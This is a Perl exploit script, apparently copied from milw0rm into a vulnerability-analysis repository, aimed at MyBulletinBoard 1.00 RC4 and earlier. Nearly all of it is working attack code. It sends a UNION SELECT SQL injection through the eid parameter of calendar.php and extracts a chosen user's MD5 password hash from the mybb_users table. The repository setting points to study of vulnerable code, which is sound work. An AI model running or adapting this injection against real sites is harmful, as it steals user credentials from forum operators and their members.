lilbool/vuln-code-analysis

1#!/usr/bin/perl -w

2#

3# SQL Injection Exploit for MyBulletinBoard (MyBB) <= 1.00 RC4

4# This exploit show the MD5 crypted password of the user id you've chose

5# Related advisory: 

6# Patch: http://www.mybboard.com/community/showthread.php?tid=2559

7# http://fain182.badroot.org

8# http://www.codebug.org

9# Discovered by Alberto Trivero and coded with FAiN182

10

11use LWP::Simple;

12

13print "\n\t===========================================\n";

14print "\t= Exploit for MyBulletinBoard <= 1.00 RC4 =\n";

15print "\t= Alberto Trivero & FAiN182 - codebug.org =\n";

16print "\t===========================================\n\n";

17

18if(!$ARGV[0] or !$ARGV[1]) {

19   print "Usage:\nperl $0 [full_target_path] [user_id]\n\nExample:\nperl $0 http://www.example.com/mybb/ 1\n";

20   exit(0);

21}

22

23$url = "calendar.php?action=event&eid='%20UNION%20SELECT%20uid,uid,null,null,null,null,password,null%20FROM%20mybb_users%20WHERE%20uid=$ARGV[1]/*";

24$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";

25print "[+] Connected to: $ARGV[0]\n";

26$page =~ m/<td><strong>(.*?)<\/strong>/ && print "[+] User ID is: $1\n";

27print "[-] Unable to retrieve User ID\n" if(!$1);

28$page =~ m/<a href="member\.php\?action=profile&uid=">(.*?)<\/a>/ && print "[+] MD5 hash of password is: $1\n";

29print "[-] Unable to retrieve hash of password\n" if(!$1);

30

31# milw0rm.com [2005-05-31]